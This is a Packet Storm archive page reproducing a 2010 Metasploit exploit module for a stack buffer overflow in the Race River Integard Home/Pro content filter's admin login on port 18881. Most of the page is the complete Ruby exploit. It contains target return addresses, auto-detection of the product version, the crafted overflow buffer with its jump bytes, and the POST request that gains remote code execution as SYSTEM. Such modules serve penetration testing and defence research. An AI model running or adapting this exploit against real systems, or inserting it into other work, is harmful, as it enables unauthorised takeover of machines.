what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow
Posted Sep 11, 2010
Authored by Rick, corelanc0d3r, jduck, Lincoln, nullthreat | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in Race river's Integard Home/Pro internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are vulnerable. The administration web page on port 18881 is vulnerable to a remote buffer overflow attack. By sending an long character string in the password field, both the structured exception handler and the saved extended instruction pointer are over written, allowing an attacker to gain control of the application and the underlying operating system remotely. The administration website service runs with SYSTEM privileges, and automatically restarts when it crashes.

tags | exploit, remote, web, overflow
SHA-256 | 39c01041cd7a953eb8e64486e1f5865273ee4d2db2d0b6b1cfb86aad1711e782

Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow

Change Mirror Download
##
# $Id: integard_password_bof.rb 10284 2010-09-10 12:18:27Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # stack bof, seh, universal ret, auto targeting

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Race river's Integard Home/Pro
internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
vulnerable.

The administration web page on port 18881 is vulnerable to a remote buffer overflow
attack. By sending an long character string in the password field, both the structured
exception handler and the saved extended instruction pointer are over written, allowing
an attacker to gain control of the application and the underlying operating system
remotely.

The administration website service runs with SYSTEM privileges, and automatically
restarts when it crashes.
},
'Author' =>
[
'Lincoln', # original discovery
'Nullthreat',
'rick2600',
'corelanc0d3r',
'jduck' # fleshed out module from advisory
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10284 $',
'References' =>
[
['OSVDB', '67909'],
['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x20\x26\x2f\x3d\x3f\x5c",
'StackAdjustment' => -1500,
},
'Platform' => 'win',
'Privileged' => false,
'Targets' =>
[
[ 'Automatic Targeting', { 'auto' => true }],
[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}], # p/p/r
[ 'Integard Pro 2.2.0.9026', { 'Ret' => 0x0040362C,}], # p/p/r
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 07 2010'))

register_options(
[
Opt::RPORT(18881)
], self.class )
end

def exploit

mytarget = nil
if (target['auto'])
print_status("Automatically detecting the target...")
response = send_request_raw(
{
'uri' => '/banner.jpg',
'version' => '1.1',
'method' => 'GET'
}, 5)

case response['Content-Length'].to_i
when 24584
print_status("[!] Found Version - Integard Home")
mytarget = targets[1]
when 23196
mytarget = targets[2]
print_status("[!] Found Version - Integard Pro")
end

else
mytarget = target
end

if not mytarget
raise RuntimeError, "Unable to automatically detect the target version"
end

print_status("Selected Target: #{mytarget.name}")

print_status("Building Buffer")
pay = payload.encoded
buffer = ''
buffer << rand_text_alpha_upper(3091 - pay.length)
buffer << pay
buffer << "\xE9\x2B\xF8\xFF\xFF"
buffer << "\xEB\xF9\x90\x90"
buffer << [mytarget.ret].pack('V')

print_status("Sending Request")
send_request_raw({
'uri' => '/LoginAdmin',
'version' => '1.1',
'method' => 'POST',
'headers' =>
{
'Host' => '192.168.1.1:18881',
'Content-Length' => 1074
},
'data' => "Password=" + buffer + "&Redirect=%23%23%23REDIRECT%23%23%23&NoJs=0&LoginButtonName=Login"
}, 5)

print_status("Request Sent")

handler
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close